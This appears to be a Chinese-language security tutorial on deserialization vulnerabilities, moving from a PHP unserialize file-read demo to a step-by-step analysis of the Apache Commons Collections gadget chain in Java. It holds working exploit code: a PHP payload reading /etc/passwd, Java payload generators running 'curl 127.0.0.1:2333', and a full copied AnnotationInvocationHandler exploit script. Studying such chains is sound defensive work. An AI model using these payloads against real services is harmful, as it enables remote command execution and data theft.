还是先拿php来说,其反序列化漏洞是攻击者通过构造特定的php序列化字符串,在unserialize()
时,依靠所构造的类中的__wakeup()
、__construct()
、__destruct()
等魔术方法或复杂的利用链从而最终达到某种攻击。
Demo:
x<?php
class serialize{
public $name;
function __construct($name){
$this->name = $name;
}
function __wakeup(){
echo "Welcome back, ".$this->name."\n";
}
}
class secret{
public $file = "./test";
function __toString(){
return file_get_contents($this->file);
}
}
$class = new serialize("c014");
$ser_class = serialize($class);
print $ser_class; // O:9:"serialize":1:{s:4:"name";s:4:"c014";}
// 正常功能
unserialize($ser_class); // Welcome back, c014
// 攻击者构造触发secret __toString()导致任意文件读取
unserialize('O:9:"serialize":1:{s:4:"name";O:6:"secret":1:{s:4:"file";s:11:"/etc/passwd";}}'); // Welcome back, root:x:......
漏洞的关键就是用户可以自定义序列化内容给程序去执行反序列化操作
readObject()
通过之前对Java序列化和反序列化的学习,再从php类比到Java,如果某Java程序准许反序列化用户提供的内容时,也可能导致相应的漏洞。
上一篇中也提到过用readObject()
来实现java的反序列化,Java反序列化中readObject()
的作用其实就相当于PHP反序列化中的那些魔术方法。可以修改正常Java程序生成的序列化内容,从而在反序列化时控制字段等操作。
xxxxxxxxxx
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
其实readObject()
也是一个在类中可以自定义的方法,在Java反序列化时,会直接调用被反序列化类的readObject()
方法,如果当readObject()
方法书写不当时就会引发漏洞。
重写readObject()
Demo:
xxxxxxxxxx
import java.io.*;
public class NotVuln{
public static void main(String args[]) throws Exception{
write();
read();
}
static void write() throws Exception{
try(
FileOutputStream fileOut = new FileOutputStream("./NotVuln.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)
){
out.writeObject(new NotVulntest());
}
}
static void read() throws Exception{
try(
FileInputStream fileIn = new FileInputStream("./NotVuln.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)
){
NotVulntest ur = (NotVulntest) in.readObject();
}
}
}
class NotVulntest implements java.io.Serializable{
public String evil;
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException{
s.defaultReadObject(); // 执行默认的readObject()方法
System.out.println("readObject~");
}
}
输出readObject~
,其中的s.defaultReadObject();
是执行默认的readObject()
方法
Java反序列化中readObject()
的作用其实就相当于PHP反序列化中的那些魔术方法。这里的代码当然没有什么问题,但如果目标对象的readObject()
有一些危险操作或者进行了一些更复杂的流程,有可能会带来安全问题。
假设有个存在漏洞的代码,如下:
xxxxxxxxxx
import java.io.*;
public class Vuln{
public static void main(String args[]) throws Exception{
try(
FileInputStream fileIn = new FileInputStream("./Vuln.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)
){
Vulntest ur = (Vulntest) in.readObject();
}
}
}
class Vulntest implements java.io.Serializable{
public String evil;
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException{
s.defaultReadObject(); // 执行默认的readObject()方法
Runtime.getRuntime().exec(evil); // 危险操作
System.out.println("readObject finished~");
}
}
那么可以利用如下代码,构造序列化数据
xxxxxxxxxx
import java.io.*;
public class Vuln{
public static void main(String args[]) throws Exception{
try(
FileOutputStream fileOut = new FileOutputStream("./Vuln.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)
){
Vulntest vt = new Vulntest();
vt.evil = "curl 127.0.0.1:2333";
out.writeObject(vt);
}
}
}
class Vulntest implements java.io.Serializable{
public String evil;
}
xxxxxxxxxx
$ xxd Vuln.ser
00000000: aced 0005 7372 0008 5675 6c6e 7465 7374 ....sr..Vulntest
00000010: 08e8 b990 6a32 62f1 0200 014c 0004 6576 ....j2b....L..ev
00000020: 696c 7400 124c 6a61 7661 2f6c 616e 672f ilt..Ljava/lang/
00000030: 5374 7269 6e67 3b78 7074 0013 6375 726c String;xpt..curl
00000040: 2031 3237 2e30 2e30 2e31 3a32 3333 33 127.0.0.1:2333
再用第一个去反序列化这段数据,可以在本地2333端口监听到curl
请求
PS. 有时也会使用readUnshared()
方法来读取对象,readUnshared()
不允许后续的readObject()
和readUnshared()
调用引用这次调用反序列化得到的对象,而readObject()
读取的对象可以。
Commons Collections
当服务端允许接收远端数据进行反序列化时,客户端可以提供任意一个服务端存在的对象 (包括依赖包中的对象) 的序列化二进制串,由服务端反序列化成相应对象。如果该对象是由攻击者『精心构造』的恶意对象,而它自定义的
readObject()
中存在着一些『不安全』的逻辑,那么在对它反序列化时就有可能出现安全问题。
真实存在的漏洞当然没有上述Demo这么简单,下面分析分析实际存在的Java反序列化漏洞
拿Apache Commons Collections
来看
Apache Commons Collections
是一个扩展了Java标准库里的Collection
结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache
开源项目的重要组件,Commons Collections
被广泛应用于各种Java
应用的开发。
简单来说,这个漏洞的简单原理就是:
在
AnnotationInvocationHandler
类的readObject()
方法中对Map
类型的变量进行了键值修改操作,并且这个Map
变量是外部(序列化数据)可控的而在
Commons Collections
中,一个精心构造的TransformedMap
,在其任意键值被修改时,可以触发一系列变换,最终达到任意命令执行
Commons Collections
中实现了一个TransformedMap
类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer
类定义,Transformer
在TransformedMap
实例化时作为参数传入。我们可以通过TransformedMap.decorate()
方法,获得一个TransformedMap
的实例
当TransformedMap
内的key
或者value
发生变化时,就会触发相应的Transformer
的transform()
方法。
另外,还可以使用Transformer
数组构造成ChainedTransformer
。当触发时,ChainedTransformer
可以按顺序调用一系列的变换。而Apache Commons Collections
已经内置了一些常用的Transformer
,其中InvokerTransformer
类就是这个漏洞所用到的
org/apache/commons/collections/functors/InvokerTransformer.java
其构造方法和transform()
方法如下:
这个transform(Object input)
中使用反射机制调用了input
对象中的一个方法,而其中的几个参数iMethodName, iParamTypes,iArgs
都是实例化InvokerTransformer
类时传入的methodName, pamamTypes, args
也就是说这段反射代码中的调用的方法名和Class
对象均可控。于是,我们可以构造一个恶意的Transformer
链,借用InvokerTransformer.transform()
执行任意命令。
首先漏洞测试代码如下:
xxxxxxxxxx
package c014;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
public class Test{
public static void main(String[] args) {
String cmd = "curl 127.0.0.1:2333";
// 利用链
Transformer[] trans = new Transformer[] {
// 将待变换的对象,变为一个常量,在transform()时,始终会返回这个对象
new ConstantTransformer(Runtime.class),
// 通过反射,得到 getRuntime 方法的 Method 对象
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
// 通过反射,得到 Runtime 对象
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
// 通过反射,获取 java.lang.Runtime 的 exec 方法并传参调用 cmd
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
Transformer chain = new ChainedTransformer(trans);
Map normalMap = new HashMap();
normalMap.put("key", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
Map.Entry entry = (Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
}
}
执行即可在2333端口收到curl请求
接着来一步步分析:
首先看到
xxxxxxxxxx
Transformer chain = new ChainedTransformer(trans);
我们先定义了trans
,而ChainedTransformer
在transform()
时,会将前一个元素的返回结果作为下一个的参数
于是看到trans
内部
xxxxxxxxxx
new ConstantTransformer(Runtime.class)
ConstantTransformer
,顾名思义可以将待变换的对象,变为一个常量,它的transform()
方法代码如下:
于是在接下来的transform()
时,会返回Runtime.class
这个对象
xxxxxxxxxx
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] })
根据InvokerTransformer
的构造方法可知,此句构造了一个InvokerTransformer
,其待调用方法名为getMethod
,参数为getRuntime
在transform()
时,传入上面得到的常量Runtime.class
,此时的input
应该是java.lang.Runtime
但经过getClass()
后,cls
为java.lang.Class
,之后的getMethod()
只能获取java.lang.Class
的方法
因此才会定义的待调用方法名为getMethod
,然后其参数才是getRuntime
,它得到的是getMethod
这个方法的Method
对象,invoke()
调用这个方法
最终得到的才是getRuntime
这个方法的Method
对象,并转为常量
xxxxxxxxxx
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
构造一个InvokerTransformer
,待调用方法名为invoke
,参数为空,在transform()
时,传入上面得到的getRuntime
,同理,cls
将会是java.lang.reflect.Method
,再获取并调用它的invoke
方法,实际上是调用上面的getRuntime()
拿到Runtime
对象
xxxxxxxxxx
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
构造一个InvokerTransformer
,待调用方法名为exec
,参数为命令字符串,在transform()
时,传入上面得到的Runtime
,获取java.lang.Runtime
的exec
方法并传参调用cmd
这样,这段代码本质上就是利用反射调用Runtime
执行了一段系统命令,作用等同于构造了:
xxxxxxxxxx
((Runtime) Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("curl 127.0.0.1:2333");
接下来是如何触发的问题
xxxxxxxxxx
Map normalMap = new HashMap();
normalMap.put("key", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
Map.Entry entry = (Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
首先定义一个普通的HashMap
:normalMap
并put()
一组数据
然后调用TransformedMap.decorate()
获得一个TransformedMap
的实例
使用方法
iterator()
要求容器返回一个Iterator
。第一次调用Iterator
的next()
方法时,它返回序列的第一个元素。
在setValue()
时改变了键值
如果这时输出transformedMap
的话会得到{key=java.lang.UNIXProcess@58372a00}
到此弄懂了RCE
链,那么如何利用Java
反序列化触发呢?
现在,我们只需要再找一个包含可控Map
字段,并会在反序列化时对这个Map
进行setValue()
或get()
操作的公共对象
在JDK较早的版本中可用sun.reflect.annotation.AnnotationInvocationHandler
这个对象(较新版本的JDK可以使用BadAttributeValueExpException
)
它的成员变量memberValue
为Map<String, Object>
类型,并且在重写的readObject()
方法中有memberValue.setValue()
的操作。
这样提前构造好的数据,在调用AnnotationInvocationHandler
的反序列化时,触发漏洞
(网上Copy了一份脚本:
xxxxxxxxxx
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Vul {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj");
payloadTest("obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}